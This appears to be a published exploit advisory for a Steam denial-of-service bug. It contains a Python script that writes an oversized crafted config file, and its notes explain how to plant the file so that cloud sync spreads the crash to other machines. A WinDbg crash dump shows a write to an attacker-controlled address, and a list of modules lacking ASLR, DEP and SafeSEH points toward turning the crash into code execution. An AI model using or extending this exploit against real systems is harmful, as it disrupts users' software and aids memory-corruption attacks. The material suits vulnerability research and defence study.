# Exploit Title: Steam Cloud Denial of Service 0day # Date: 06042011 # Author: david.r.klein \x0agmail\x0acom # Software Link: http://steampowered.com # Version: Steam - Latest # Tested on: Windows XP/2003, Windows7 # CVE : NA # # Notes: Copy file to C:\Program Files\Steam\userdata\\remote\sharedconfig.vdf # Run Steam.exe and let the program crash. Steam will Sync your config to your account before the crash occurs # Log in on a seperate computer with the same account and watch steam die. # test = "A" * 32776 test2= "BBBB" * 8 test2+="ZZZZ" * 8 test2+="\x90" * 32 f = open('serverbrowser_ui.vdf', 'w') f.write(test + test2) f.close() # (78c.bf0): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=02c915b0 ebx=000025d5 ecx=42424242 edx=01697b28 esi=02c915a8 edi=00eb0000 # eip=7c91240b esp=0012d188 ebp=0012d1a0 iopl=0 nv up ei ng nz na pe cy # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210287 # ntdll!RtlpInsertFreeBlock+0x10d: # 7c91240b 8901 mov dword ptr [ecx],eax ds:0023:42424242=???????? # # 0:000> d edx # 01697b28 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB # 01697b38 5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a ZZZZZZZZZZZZZZZZ # 01697b48 5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a ZZZZZZZZZZZZZZZZ # 01697b58 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ # 01697b68 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ # 01697b78 00 fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................ # # # None of the below have aslr \ dep \ safeseh # ModLoad: 3a000000 3a363000 C:\Program Files\Steam\SteamUI.dll # ModLoad: 3f000000 3f0ad000 C:\Program Files\Steam\tier0_s.dll # ModLoad: 3f600000 3f66e000 C:\Program Files\Steam\vstdlib_s.dll # ModLoad: 10000000 100af000 C:\Program Files\Steam\crashhandler.dll # ModLoad: 3fa00000 3fa32000 C:\Program Files\Steam\bin\FileSystem_Steam.dll # ModLoad: 3f200000 3f2a2000 C:\Program Files\Steam\bin\vgui2.dll # ModLoad: 04120000 04e06000 C:\Program Files\Steam\bin\libcef.dll